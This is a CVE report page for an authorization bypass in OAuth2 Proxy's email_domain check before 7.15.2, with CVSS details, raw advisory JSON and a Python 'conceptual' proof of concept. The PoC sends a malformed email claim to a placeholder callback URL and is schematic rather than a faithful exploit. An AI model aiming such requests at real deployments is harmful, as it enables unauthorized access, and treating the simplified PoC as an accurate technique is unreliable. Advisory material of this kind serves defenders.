Security Vulnerability Report
中文
CVE-2026-40574 CVSS 6.8 MEDIUM

CVE-2026-40574

Published: 2026-04-21 17:16:56
Last Modified: 2026-04-27 19:49:10

Description

OAuth2 Proxy is a reverse proxy that provides authentication using OAuth2 providers. Prior to 7.15.2, an authorization bypass exists in OAuth2 Proxy as part of the email_domain enforcement option. An attacker may be able to authenticate with an email claim such as [email protected]@company.com and satisfy an allowed domain check for company.com, even though the claim is not a valid email address. The issue ONLY affects deployments that rely on email_domain restrictions and accept email claim values from identity providers or claim mappings that do not strictly enforce normal email syntax. This vulnerability is fixed in 7.15.2.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oauth2_proxy_project:oauth2_proxy:*:*:*:*:*:*:*:* - VULNERABLE
OAuth2 Proxy < 7.15.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-40574 # This demonstrates how a malformed email claim can bypass domain validation. import requests # Target OAuth2 Proxy callback URL target_url = "https://target-app.example.com/oauth2/callback" # The target domain configured in OAuth2 Proxy is "company.com" # Attacker constructs a malicious email claim with an extra '@' symbol # If the validation logic only checks the suffix or splits incorrectly, # "[email protected]@company.com" might match "company.com" malicious_payload = { "email": "[email protected]@company.com", "user": "attacker" } # Send the malicious request to the proxy response = requests.post(target_url, data=malicious_payload) # Check if authentication was bypassed if response.status_code == 200 and "Welcome" in response.text: print("[+] Authorization bypass successful!") else: print("[-] Attack failed or patch applied.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40574", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:55.730", "lastModified": "2026-04-27T19:49:09.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OAuth2 Proxy is a reverse proxy that provides authentication using OAuth2 providers. Prior to 7.15.2, an authorization bypass exists in OAuth2 Proxy as part of the email_domain enforcement option. An attacker may be able to authenticate with an email claim such as [email protected]@company.com and satisfy an allowed domain check for company.com, even though the claim is not a valid email address. The issue ONLY affects deployments that rely on email_domain restrictions and accept email claim values from identity providers or claim mappings that do not strictly enforce normal email syntax. This vulnerability is fixed in 7.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oauth2_proxy_project:oauth2_proxy:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.15.2", "matchCriteriaId": "8ECD42F0-BA8D-4BA5-A347-1CAD636DCF70"}]}]}], "references": [{"url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-c5c4-8r6x-56w3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}